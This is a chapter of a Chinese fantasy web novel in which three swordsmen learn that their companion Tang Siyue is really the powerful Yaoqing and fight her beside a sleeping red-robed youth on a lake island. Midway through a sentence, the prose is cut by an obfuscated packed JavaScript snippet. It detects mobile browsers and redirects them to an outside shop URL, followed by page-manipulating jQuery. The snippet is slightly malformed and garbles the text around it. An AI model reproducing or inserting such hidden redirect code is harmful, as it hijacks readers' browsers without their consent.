云修泽将其看过一遍,这又要有多少岁月,多强的力量才能做到呢? 远远的,他们先看到的不是湖,而是一株参天的花树,招摇的红色十分醒目,它就像是外面那些森林的‘母株’。 它立在湖中央的那片小岛上,树冠几乎将其遮掩了大半。 而湖就像书上所说的,其质盈盈,其貌琼瑛,静默而无一丝波澜。 他们走到近前才得以看清中间小岛的全貌,树上垂下来一架可供两人共乘的秋千,树下有一个看似平平无奇的石台,只是明显有人躺在了上面。 看到他,云修泽手指僵硬的弯了弯,喉咙发紧,心跳不受控制的逐渐加快。 天盛微目光紧紧盯着那个人,慢慢握住了云修泽的手,两人用力相牵,指节泛白,似乎在微微抖动。 云修云一怔,镜双子中的一个?还是他们那个师父? 比起这个,他现在更关心唐思月和行愿究竟在哪里。 “走吧哥!盛微姐!我们去看看!” 他率先踏上司越,云修泽和天盛微停了一会儿,在云修云不解的目光中才陆续踏上佩剑。 这里没有路,想要到中间的岛去就只能御剑,不过云修泽并不会觉得事情会有那么顺利。 果然,他们飞到一半的时候,突然以石台上的那个人为中心,荡开了一股强大的精神力,压迫力之强,险些让三人掉下湖中。 他醒着?云修泽心中惊悸不止。 不过精神力并不是最危险的,危险的是原本平静的湖泊,它似乎被精神力唤醒,几息之间就变得如同深海风浪,气势磅礴,几次险些将他们直接掀翻。 上空随着浪起出现了狂风,愈演愈烈,根本没有平息的趋势。 这样下去肯定不行。 天盛微给云修泽递了个眼神,云修泽瞬间明白,点了点头。 两人艰难靠近,云修泽一伸手,天盛微就顺着他的力道直接跳上了褚闲,深流则闪过一缕幽光,被她猛然掷向了湖中。 定风波—— 湖面肉眼可见覆上了一层白霜,冰凌蔓延,很快就控制住了水势。 云修云给天盛微隔空竖了个大拇指。 这次上岛再没有阻碍。 靠近了,能分辨出石台上是个安静沉睡的红衣少年,再靠近,就清晰的看到了他的眉眼。 传言不虚,形貌昳丽远胜众人,天灾一般夺取、压制着众生的目光,不过只有一点特别,是眼熟。 这个人,这个名为斜月的少年,若为女子,就成了一张他们朝暮相对的面孔。 ——唐思月。 114. 雾讫十三 唐思月...... 世人皆说镜双子仅有男女骨相之分,可就算没有这个传言,见到眼前人,又有谁会质疑他们的血脉连同? 朝夕共处的云修泽不会,天盛微也不会。 只是......云修泽担心痴心一片的弟弟承受不住打击,刚想侧头观察一下他的状态,就见他目光凌厉,不知何时,已经将司越的剑尖对准了他们。 云修泽双眼一眯。 “你这是做什么?” 云修云没有第一时间回他的话,眼神在他们两个和斜月之间来回打量,神情颇有不耐。 “啧,见鬼的,竟然还没结束。” 云修泽一顿,差点没有反应过来他是什么意思。 他心情复杂的看着云修云,他对唐思月的信任已经到了这种地步吗?第一反应竟然是以为自己还没从幻境中出来。 云修云废话不说,直接开战,但出师未捷身先死,被兄嫂联手镇压。 云修泽压着他不断扭动的肩膀,平静的说道。 “你已经出来了,这里不是幻境。” 云修云呸了一声。 “谁家幻境会说自己是幻境啊?” 云修泽无言以对,求助天盛微,但她也不知道该说些什么才能让他相信,最终替他们解围的还是另一个人。 “你哥说的对,幻境早在你们离开森林的时候就已经结束了。” 云修云浑身一僵,云修泽慢慢松开了对他的钳制,顺着声音抬头望,见到了一个再熟悉不过的身影。 她摘下了平日妆点的钗环珠玉,墨发只松散的挽了一髻,剩下的则不驯的披散着,右耳单挂着一只红珠的耳坠,流苏融进了发中,随着长发一起轻轻拂动。 衣饰也变得大相径庭,从前云修云就曾觉得她很适合红色,如他所想,现在见到的这身赤色红装,才真正衬出了她张扬锐利的眉眼,整个人的气场因此与往日截然不同,是天翻地覆的变化。 她高高的坐在树上,双腿交叠轻轻摇晃,脸上带着刺目的笑意,已经完全没有了唐思月温良的影子,明明是一样的眉目,却叫人心中发冷,仿佛完全不曾将他们放入眼中。 “思月......”云修泽慢慢咀嚼着这个名字,叹道“不......应该叫你瑶情了......” 之前在周天山,他们见她从树上‘不慎跌落’,还曾手忙脚乱的去接,现在她又用相同的方式翻身,轻而易举的落下,像是在嘲笑他们当初的自作多情。 她动作轻盈坐到石台上,低头笑着摸了摸斜月的侧脸,说道。 “我果然还是喜欢瑶情这个名字。” 她看向云修泽和天盛微,难得起了点好奇心。 “你们似乎并不惊讶。” 他们的确早有猜测,不过并不打算现在就全盘托出,云修泽稍稍带了些讥讽。 “镜双子狂妄自大确为事实,叫你竟然顶着这张脸留在我们身边。” 瑶情不可置否的耸了耸肩。 云修云从她出现的那一刻就已经说不出只言片语,根本没想过的事态发展让他短暂的陷入了自我怀疑,可是从她和云修泽的对话中,又再一次敲定了这个事实,如同鼓锤乍然敲响鼓面,咚的一声巨响,就破开了一个大洞。 “你......”云修云挤出点声音,艰难的问道“......你骗我们?” 他出了声,瑶情才把视线放到他身上,闻言坦然一笑,道。 “对啊,怎么了?” 云修云张大了眼睛看着她,一眨不眨的,忽然开始掉眼泪,一串串,上一滴还没从脸上落下,下一滴就赶了上来。 瑶情微微挑眉,面无表情的移开了视线。 云修泽有点心疼的替他抹了一把眼泪,虽然早知道他会伤心,但见他这个样子,还是会自责自己提醒铺垫的不够,既然他还需要一些时间,云修泽就不再管他,让他自己消化。 天盛微盯着瑶情,问道。 “你是瑶情,行愿呢?他是谁?” 不熟悉的人还听不出她此时声音的颤抖,但在场的几人谁又不知道她呢? 瑶情笑她自欺欺人。 “你找了他那么久,竟然不知道他是谁吗?” 天盛微呼吸一窒,猜想得到验证,回顾一路的相处,不敢相信自己竟没认出近在咫尺的兄长。 “......他在哪?” 瑶情:“放心,他在一个很安全的地方。” 行愿,或者说天恩垚并没有被控制,瑶情这样说,让云修泽敏锐的捕捉到了一些蛛丝马迹,看来有什么事情他们没有达成共识,所以他‘被迫’待在了安全的地方。 “你究竟想干什么?”这是云修泽最想问的问题。 “很简单。”瑶情笑着指向云修泽“我要你的血。” 血?天竹血? 那种东西这一路上她明明有无数次机会可以自己拿到,为什么偏偏要把他引到这里来专门问他要? 云修泽心中一沉。 “你要多少?” 瑶情赞叹他的反应能力,装模作样的拍了拍手。 “不愧是老大,一下就问到了重点。” 云修泽扯了扯嘴角。 “别叫我老大了,瑶情前辈,在下可真的承受不起。” 瑶情无所谓,惋惜的看着他。 “你和盛微也是这一代的天才了,盛微的出现虽然出乎我的意料,不过也没什么所谓,看在她哥和她师傅的面子上,我不会杀了她,不过你嘛......还是把全身的血都留下来最好。” 她说的轻描淡写,但严重刺激到了云修云,他一把挡在云修泽身前,看着她的神情虽说凶狠,却未免狼狈,像是淋透了雨一般。 “你休想......你休想!!!” 云修泽按着他的肩膀把他拉回身后,目光转向沉睡的斜月,笑意凉薄。 “怎么?药材不要多一点,生怕救不活这已经半只脚迈进阎王府的人吗?” 瑶情的神色迅速转冷,不善的看着他。 “你是个聪明人,明知不该激怒我的。” 她伸手一握,整个小岛就迅速升起了一个结界,成型的一刻隐隐有金石相击的厚重声响。 这个声音很有特点,云修泽知道这是什么,它名为珐琅,以坚固和外形出彩而闻名,是当今世上最不容易被破坏的结界之一,可以说他们被困在这里,基本就没有了逃出去的可能。 云修泽迅速扫了一眼,结界中并不包含湖水,看来有深流在,她也无法确保那片湖能为她所用。 “却邪。”瑶情轻念。 一把剑从远处飞来,嗡鸣着被她握在了手中。 百闻不如一见,却邪觉醒剑灵已有十数年之久,云修泽和天盛微隐隐能感觉到被压制,两剑并出,虽不会像周彦止和许知夏那样无法招架,但恐怕在这方面也给不了多少助力。 瑶情持剑的模样让三人感觉很割裂,似乎一面是他们熟悉的,温柔和善,善使琴瑟的唐思月,一面又成了杀伐闻名,以剑却邪的瑶情。 “我再给你们一次机会,把云修泽留下,你们离开,或者你们一起留下,一起死。” 天盛微举起深流。 “我以为你足够了解我们。” 唐思月,她一直将其视作姐妹,视作密友,在得知她可能就是瑶情时,所受的钝涩苦闷并不输于任何人,虽然早已经有了心理准备,但终究还是要刀剑相向。 瑶情冷淡的笑了笑。 云修泽率先冲了上去,天盛微低声快速说道。 “振作起来,事情还没结束。” 说完她就一个闪身,暂时失去了踪迹。 云修云明白,但手脚不听使唤的僵硬,试图通过胸膛大幅度的起落来控制平稳自己的身体。 他一定要一个解释,也绝不会让她伤害自己在意的人! 这里没有多少地方可供天盛微藏身,瑶情被云修泽纠缠之余,竟然还有精力预测她的来向,借力打力,反将云修泽扔向她。 之前只是听说,现在真和镜双子对上,哪怕只是之一,也能切身感受到那堪称恐怖的实力,尤其是当她还十分熟悉他们的剑招习惯的时候,压力更如山崩巨石的滚落。 不过他们也不是那么好对付的,知道对手可能是她,肯定也不再对她毫不保留。 瑶情倒是被他们打了个猝不及防,见到他们用了没见过的剑阵,才勾起笑,算是开始有了点兴趣。 阵,可破,可乱—— 瑶情没耐心跟他们耗,反手召出琴,单手一拨,众人耳边就响起了刺耳的尖啸,在这个不算大的地方来回碰撞回响。 这一下的攻击力可比她做唐思月的时候强太多了,很难想象是出于同一人之手。 云修泽单手捂住耳朵,笑容狠戾。 “帷灯之音,名不虚传,之前可真是埋没它了!” 瑶情挑了挑眉,琴上可没有刻字,他是什么时候知道的帷灯的名字? 剑阵已乱,轻而易举,不过正在云修泽的意料之中。 她使琴,至少会有一只手短暂的注意力失衡,而他们就是要抓住这个机会! 天盛微瞬息间出现在瑶情的身后,眉目冷冽,下手虽然被她避开要害,但也成功在她腰侧留下一道深深的伤口。 而她则被瑶情顺势抓住手腕一甩,看力道似乎是要直接将她摔晕。 云修泽闪身想要接住,眼看就要成功,天盛微的身影却突兀的化为了虚无。 云修泽皱眉,已经来不及躲避,被一条突然出现的细线捆到了树干上,他眼神闪烁,看向头顶,莫不成是它的原因?但为什么只针对他们? 而真正的天盛微被云修云接了一把,勉强落地。 却邪直冲动弹不得的云修泽而去,被深流挡下,云修泽趁此挣脱。 毒对他们两个都没用,云修云身上也有不少她配的解毒药,用毒就没有必要了,瑶情收回细线,心不在焉的拨弦。 云修泽体验了一把为什么敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568483|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人总是第一个针对唐思月,实在是太干扰人了,不过他们却知道如何破解音攻,甚至于破解之法都是瑶情当时亲手所教。 眼看他们不受影响,瑶情本想收起来,但突然察觉身后有人逼近,反手一挡,见到天盛微,颇为无奈。 “同样的招式你要在我身上用两遍吗?” 说完,还没等她开口,瑶情自己就反应过来了,不对,她不会那么蠢! 果然,她双眼一抬,只是声东击西! 云修云已经从侧面摸了上来,剑尖直抵她的命门! “阿云!”瑶情惊慌失措。 云修云从来分得清孰轻孰重,正事上十分靠谱,就算剑尖所指无异于剜自己的心,也没有丝毫犹豫。 只是对视的刹那间,下意识想为眼前女子铲除所有令她不安的事物的想法本能的占了上风,因为熟悉的称呼感到连魂魄都在颤栗。 心跳险些破开胸膛,剑有了极短的停顿。 就是现在! 瑶情早有预料的勾起嘴角,后仰的同时引着天盛微撞向了他,反身一脚,想将两人同时踹开。 云修云瞬间清醒,千钧一发之际拉着天盛微一起避开。 他恼怒的看着瑶情,顺势再攻,被她侧身轻松躲过。 云修云干脆举剑接近了石床上的斜月! 只要手握他的性命! 云修云心中暗流不断翻涌,恶念丛生。 瑶情的表情总算不再从容,怒意染上眉梢,但也只是看着,并未上前阻止。 云修泽立马意识到了不对,再想阻止已经太迟,眼睁睁看着云修云被一道光狠狠弹开,砸在树上喷出口血,直接陷入了昏迷。 解决了一个,瑶情松了松脖子,突然看到帷灯不知何时到了天盛微手上。 她动了动刚刚拿着帷灯的手,心想真是对他们的气息太熟悉了,竟然这么松懈。 天盛微把深流架在琴弦上,直视着她,道。 “决定权在你手里。” 瑶情嗤笑道。 “它的材质特殊,你们是弄不坏的。” 天盛微下手毫不手软,刺耳的呲啦一声后,琴弦毫发无损。 瑶情耸耸肩,似乎在说‘都告诉你弄不坏了’。 “别白费功夫了。” 既然弄不坏,天盛微就干脆将它收了起来,瑶情看到,神色有些微妙的不爽。 云修泽复又冲上来,瑶情以一敌二也不落下风,反而是云修泽和天盛微会因为时不时出现的幻象而出些差错。 三柄生了剑灵的灵剑毫不相让的争锋,结界外湖面响应着深流,平地风波,浪涛汹涌,凶悍的攻势似乎下一刻就能让结界应声而碎! 却邪强势非常,曾以一剑屏退万千妖邪,褚闲深沉藏锋,却也有着号令天下兵甲的气魄,深流刚柔并济,是无锋之水亦是绝对利刃。 这三人相争,换作别处,恐怕早已被毁的七零八落。 在一次逼退天盛微,刺伤云修泽后,他们发现云修泽的血落到石台上,竟然有个刻阵隐约浮现。 瑶情也注意到了,她蹙起眉,心中也有许多犹豫。 “你最好束手就擒,我也不是无情之人,让你没有痛苦死去的法子我有的是,别逼我在这里一点点将你凌迟。” 其实天盛微在对待除自己以外的事情上向来看得开,能够从容处之,唐思月一朝变为瑶情,纵使当着她的面扬言要取云修泽的性命,她也没有动怒,就如同所有的事情皆有因果,她总不会一无所求。 但是这句话不知道为什么触到了脑中的那根弦,让她的灵力都控制不住疯狂外溢。 云修泽悄悄握住她的手捏了捏,天盛微不太甘心的咬了咬牙,收敛着灵气,眼神依然冷冷的看着她。 话中真正的主人公反倒没有太大的反应,就这么一会儿的功夫,自己身上又有不少较轻的伤痊愈,不说其他,单说凌迟放血,恐怕还真能让她取到足够的量。 只是...... 他看着远处冷淡的瑶情,她的红衣也早已被浸透,明明没有他这样的恢复能力,却偏偏不知疼一样依然站的笔直。 云修泽心中说不出什么滋味,笑道。 “要你说,总之一个死,还分什么死法啊,不过......我暂且还不想死!” 嗡———— 瑶情耳边陡然一震,极具穿透力的灵力荡开,炸的她脑中轰鸣震裂! 她痛苦的捂着耳朵蹲下身,灵力被强行压制只剩了个浅底,却邪哐啷砸在地上,随陌生灵力的冲荡狂抖不止。 勉强睁开的视线中,云修泽和天盛微成了数不清的重影,摇摇晃晃,好像地面也在跟着震动。 瑶情透过他们,看到了树下云修云的眼睛。 他以血画阵,以血喂养,又以剑镇压。 瑶情用力闭上眼睛,皱着眉想了两件事。 我为什么没察觉到他醒了? 以及—— 这是什么阵?竟然需要他以血供养。